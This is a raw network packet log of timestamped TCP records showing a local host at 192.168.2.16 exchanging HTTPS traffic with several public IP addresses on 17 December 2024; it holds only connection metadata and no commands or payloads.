Dec 17, 2024 22:24:49.374315977 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.374368906 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.374438047 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.374478102 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.374505043 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.374546051 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.394269943 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.394316912 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.394367933 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.394392014 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.394417048 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.394455910 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.411493063 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.411535025 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.411582947 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.411597967 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.411624908 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.411664963 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.425838947 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.425884962 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.425930023 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.425954103 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.425978899 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.426018953 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.438067913 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.438111067 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.438152075 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.438168049 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.438198090 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.438226938 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.451103926 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.451150894 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.451193094 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.451212883 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.451241970 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.451267004 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.464301109 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.464346886 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.464454889 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.464472055 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.464498997 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.464529991 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.555922031 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.555984020 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.556049109 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.556128025 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.556170940 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.556193113 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.561784029 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.561836004 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.561876059 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.561892033 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.561959028 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.568924904 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.568978071 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.569015980 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.569031954 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.569058895 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.569089890 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.569273949 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.569380999 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.569441080 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.958437920 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:49.958689928 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:49.958713055 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:49.959764004 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:49.959860086 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:49.960769892 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:49.960830927 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:49.960948944 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:49.960958004 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.013784885 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.495635986 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.495745897 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.496005058 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.499032021 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.499049902 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.500049114 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.500071049 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.500149965 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.500544071 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:50.500559092 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:50.641904116 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:50.641990900 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:50.642083883 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:50.642452955 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:50.642488956 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:50.810278893 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:50.810362101 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:50.810463905 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:50.810873985 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:50.810903072 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:51.709892988 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.710248947 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.710280895 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.711148977 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.711213112 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.711630106 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.711653948 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.711688042 CET	443	49734	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.711718082 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.711752892 CET	49734	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.712127924 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.712229967 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.712327003 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.712579966 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:51.712615013 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:51.854461908 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:51.854741096 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.854824066 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:51.855742931 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:51.855916977 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856120110 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856148958 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856192112 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856224060 CET	443	49735	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:51.856282949 CET	49735	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856587887 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856626034 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:51.856695890 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856909037 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:51.856918097 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:52.024034023 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.024363041 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.024413109 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.025366068 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.025456905 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.025731087 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.025794029 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.025794029 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.025803089 CET	443	49736	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.025867939 CET	49736	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.026034117 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.026057959 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.026113033 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.026572943 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:52.026590109 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:52.924830914 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:52.925177097 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:52.925249100 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:52.925739050 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:52.926024914 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:52.926119089 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:52.926217079 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:52.967351913 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:53.075093031 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.075361013 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.075380087 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.076241016 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.076308012 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.076558113 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.076636076 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.076728106 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.076735020 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.128782988 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.247114897 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.247435093 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.247450113 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.248502970 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.248578072 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.249735117 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.249798059 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.250097036 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.250108004 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.304800034 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.480901003 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:53.481097937 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:53.481327057 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:53.482275963 CET	49737	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:53.482311010 CET	443	49737	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:53.484503031 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.484520912 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.484581947 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.484904051 CET	49740	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.484919071 CET	443	49740	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.756436110 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.756589890 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.756752968 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.757500887 CET	49738	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.757518053 CET	443	49738	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.758162022 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.758264065 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.758357048 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.758670092 CET	49741	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:24:53.758698940 CET	443	49741	104.21.112.1	192.168.2.16
Dec 17, 2024 22:24:53.886724949 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.886771917 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.886800051 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.886826992 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.886833906 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.886862993 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.886894941 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.887001991 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.887001991 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.887016058 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.903369904 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.903460979 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.903526068 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:53.903546095 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:53.903589964 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.006371975 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.010579109 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.010751963 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.010788918 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.054925919 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.079029083 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.082557917 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.082623005 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.082648993 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.088793039 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.088952065 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.088968992 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.103935003 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.104006052 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.104017019 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.104048014 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.104091883 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.111742973 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.119153023 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.119256020 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.119297981 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.119323969 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.119364023 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.127459049 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.134463072 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.134521008 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.134537935 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.142282963 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.142433882 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.142450094 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.148627043 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.148689032 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.148720980 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.157943964 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.158000946 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.158016920 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.164468050 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.164499998 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.164529085 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.164546013 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.164592028 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.270735025 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.271987915 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.272171021 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.272207975 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.280670881 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.280762911 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.280780077 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.289402962 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.289482117 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.289498091 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.289546013 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.297296047 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.297369003 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.305150032 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.305222034 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.309261084 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.309329033 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.313302040 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.313364029 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.317158937 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.317224979 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.325010061 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.325078964 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.332901001 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.332964897 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.340775967 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.340838909 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.344824076 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.344891071 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.352735996 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.352812052 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.360584021 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.360651970 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.364775896 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.364840984 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.462735891 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.462836027 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.465496063 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.465569973 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.468524933 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.468584061 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.471777916 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.471844912 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.474692106 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.474761009 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.480637074 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.480710983 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.486449957 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.486521006 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.489202976 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.489263058 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.494640112 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.494707108 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.499939919 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.500006914 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.505203962 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.505294085 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.507965088 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.508035898 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.513179064 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.513252020 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.516509056 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.516572952 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.521214008 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.521274090 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.526408911 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.526467085 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.531872034 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.531927109 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.534604073 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.534662008 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.539803982 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.539860010 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.545015097 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.545068026 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.547851086 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.547904015 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.552985907 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.553044081 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.558312893 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.558367968 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.561769962 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.561860085 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.566361904 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.566416979 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.571721077 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.571769953 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.576957941 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.577018023 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.660474062 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.660484076 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.660542965 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.660574913 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.660589933 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.660619020 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.673980951 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.673999071 CET	443	49739	104.21.57.143	192.168.2.16
Dec 17, 2024 22:24:54.674166918 CET	49739	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:24:54.674185991 CET	443	49739	104.21.57.143	192.168.2.16
